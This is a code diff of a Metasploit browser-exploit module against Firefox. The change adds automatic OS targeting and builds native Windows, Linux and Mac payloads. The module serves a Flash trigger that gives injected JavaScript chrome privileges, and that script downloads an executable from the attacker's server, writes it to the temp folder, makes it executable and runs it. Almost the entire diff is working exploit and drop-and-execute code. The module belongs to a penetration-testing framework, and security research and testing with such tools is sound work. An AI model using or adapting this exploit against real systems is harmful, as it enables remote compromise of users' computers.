@@ -33,31 +33,39 @@ def initialize(info = {})
33
33
with script access should be able to trigger it.
34
34
} ,
35
35
'License' => MSF_LICENSE ,
36
- 'Targets' => [
37
- [ 'Windows x86 (Native Payload)' ,
38
- {
39
- 'Platform' => 'win' ,
40
- 'Arch' => ARCH_X86
41
- }
42
- ] ,
43
- [ 'Linux x86 (Native Payload)' ,
44
- {
45
- 'Platform' => 'linux' ,
46
- 'Arch' => ARCH_X86
47
- }
36
+ 'Targets' =>
37
+ [
38
+ [ 'Automatic' ,
39
+ {
40
+ 'Platform' => [ 'win' , 'linux' , 'osx' ] ,
41
+ 'Arch' => ARCH_X86
42
+ }
43
+ ] ,
44
+ [ 'Windows x86 (Native Payload)' ,
45
+ {
46
+ 'Platform' => 'win' ,
47
+ 'Arch' => ARCH_X86
48
+ }
49
+ ] ,
50
+ [ 'Linux x86 (Native Payload)' ,
51
+ {
52
+ 'Platform' => 'linux' ,
53
+ 'Arch' => ARCH_X86
54
+ }
55
+ ] ,
56
+ [ 'Mac OS X x86 (Native Payload)' ,
57
+ {
58
+ 'Platform' => 'osx' ,
59
+ 'Arch' => ARCH_X86 ,
60
+ }
61
+ ]
48
62
] ,
49
- [ 'Mac OS X x86 (Native Payload)' ,
50
- {
51
- 'Platform' => 'osx' ,
52
- 'Arch' => ARCH_X86 ,
53
- }
54
- ]
55
- ] ,
56
63
'DefaultTarget' => 0 ,
57
64
'Author' =>
58
65
[
59
66
'Marius Mlynski' , # discovery & bug report
60
- 'joev' # metasploit module
67
+ 'joev' , # metasploit module
68
+ 'sinn3r' # metasploit fu
61
69
] ,
62
70
'References' =>
63
71
[
@@ -78,49 +86,70 @@ def initialize(info = {})
78
86
end
79
87
80
88
def on_request_uri ( cli , request )
81
- if target != get_target ( request . headers [ 'User-Agent' ] )
82
- print_status ( "User agent does not match an available payload type, bailing." )
89
+ my_target = get_target ( request . headers [ 'User-Agent' ] )
90
+ if my_target . nil?
91
+ print_error ( "User agent does not match an available payload type, bailing." )
83
92
send_not_found ( cli )
84
93
return
85
94
end
86
95
96
+ target = my_target
97
+
87
98
if request . uri =~ /\. swf$/
88
99
# send Flash .swf for navigating the frame to chrome://
89
100
print_status ( "Sending .swf trigger." )
90
101
send_response ( cli , flash_trigger , { 'Content-Type' => 'application/x-shockwave-flash' } )
91
102
elsif request . uri =~ /\. bin/
92
103
# send the binary payload to drop & exec
93
104
print_status ( "Child frame navigated. Sending binary payload to drop & execute." )
94
- send_response ( cli , dropped_file_contents ( cli ) , { 'Content-Type' => 'application/octet-stream' } )
105
+ send_response ( cli , dropped_file_contents ( cli , target ) , { 'Content-Type' => 'application/octet-stream' } )
95
106
else
96
107
# send initial HTML page
108
+ print_status ( "Target selected: #{ target . name } " )
97
109
print_status ( "Sending #{ self . name } " )
98
- send_response_html ( cli , generate_html )
110
+ send_response_html ( cli , generate_html ( target ) )
99
111
end
100
112
handler ( cli )
101
113
end
102
114
103
115
# @return [String] the encoded executable for dropping onto the client's machine
104
- def dropped_file_contents ( cli )
105
- regenerate_payload ( cli ) . encoded_exe ( )
116
+ def dropped_file_contents ( cli , target )
117
+ return if ( ( p = regenerate_payload ( cli ) ) == nil )
118
+ opts = target . opts
119
+ exe = ''
120
+
121
+ case target . name
122
+ when /windows/i
123
+ opts = opts . merge ( { :code => p . encoded } )
124
+ exe = generate_payload_exe ( opts )
125
+ when /linux/i
126
+ exe = Msf ::Util ::EXE . to_linux_x86_elf ( framework , p . encoded , opts )
127
+ when /os x/i
128
+ exe = Msf ::Util ::EXE . to_osx_x86_macho ( framework , p . encoded , opts )
129
+ end
130
+
131
+ return exe
106
132
end
107
133
108
134
# @return [Msf::Module::Target] that matches the client's user-agent header
109
135
def get_target ( agent )
110
- # browser detection
136
+ # Not firefox, bail
111
137
if agent !~ /firefox/i
112
138
return nil
113
139
end
140
+
141
+ # User wants to manually specify a target, respect that
142
+ if target != targets [ 0 ]
143
+ return target
144
+ end
145
+
114
146
# os detection
115
147
if agent =~ /windows/i
116
- print_status 'Windows detected.'
117
- targets [ 0 ]
118
- elsif agent =~ /linux/i
119
- print_status 'Linux detected.'
120
148
targets [ 1 ]
121
- elsif agent =~ /macintosh/i and agent =~ /intel/i
122
- print_status 'OSX detected.'
149
+ elsif agent =~ /linux/i
123
150
targets [ 2 ]
151
+ elsif agent =~ /macintosh/i and agent =~ /intel/i
152
+ targets [ 3 ]
124
153
else
125
154
nil
126
155
end
@@ -133,16 +162,16 @@ def flash_trigger
133
162
end
134
163
135
164
# @return [String] the filename that will be used when the payload is dropped
136
- def payload_filename
137
- if target . name == ' Windows x86 (Native Payload)'
165
+ def payload_filename ( target )
166
+ if target . name =~ / Windows x86/i
138
167
"#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .exe"
139
168
else
140
169
"#{ Rex ::Text . rand_text_alphanumeric ( 8 ) } .bin"
141
170
end
142
171
end
143
172
144
173
# @return [String] containing javascript code to execute with chrome privileges
145
- def js_payload
174
+ def js_payload ( target )
146
175
%Q|
147
176
#{ js_debug ( "Injection successful. JS executing with chrome privileges." ) }
148
177
var x = new XMLHttpRequest;
@@ -153,7 +182,7 @@ def js_payload
153
182
var file = Components.classes["@mozilla.org/file/directory_service;1"]
154
183
.getService(Components.interfaces.nsIProperties)
155
184
.get("TmpD", Components.interfaces.nsIFile);
156
- file.append('#{ payload_filename } ');
185
+ file.append('#{ payload_filename ( target ) } ');
157
186
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
158
187
.createInstance(Components.interfaces.nsIFileOutputStream);
159
188
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
@@ -163,7 +192,7 @@ def js_payload
163
192
} else {
164
193
stream.close();
165
194
}
166
- #{ chmod_code }
195
+ #{ chmod_code ( target ) }
167
196
#{ js_debug ( "'Downloaded to: '+file.path" , "" ) }
168
197
var process = Components.classes["@mozilla.org/process/util;1"]
169
198
.createInstance(Components.interfaces.nsIProcess);
@@ -179,7 +208,7 @@ def js_debug(str, quote="'")
179
208
end
180
209
181
210
# @return [String] containing javascript that will chmod the dropped executable
182
- def chmod_code
211
+ def chmod_code ( target )
183
212
return '' if target . name == 'Windows x86 (Native Payload)'
184
213
%Q|
185
214
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
@@ -194,15 +223,15 @@ def chmod_code
194
223
def base_url
195
224
proto = ( datastore [ "SSL" ] ? "https" : "http" )
196
225
myhost = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
197
- "#{ proto } ://#{ myhost } :#{ datastore [ 'SRVPORT' ] } #{ datastore [ 'URIPATH' ] } "
226
+ "#{ proto } ://#{ myhost } :#{ datastore [ 'SRVPORT' ] } #{ get_resource } "
198
227
end
199
228
200
229
# @return [String] HTML that is sent in the first response to the client
201
- def generate_html
230
+ def generate_html ( target )
202
231
vars = {
203
232
:symbol_id => 'a' ,
204
233
:random_domain => 'safe' ,
205
- :payload => js_payload ,
234
+ :payload => js_payload ( target ) ,
206
235
:payload_var => 'c' ,
207
236
:payload_key => 'k' ,
208
237
:payload_obj_var => 'payload_obj' ,
0 commit comments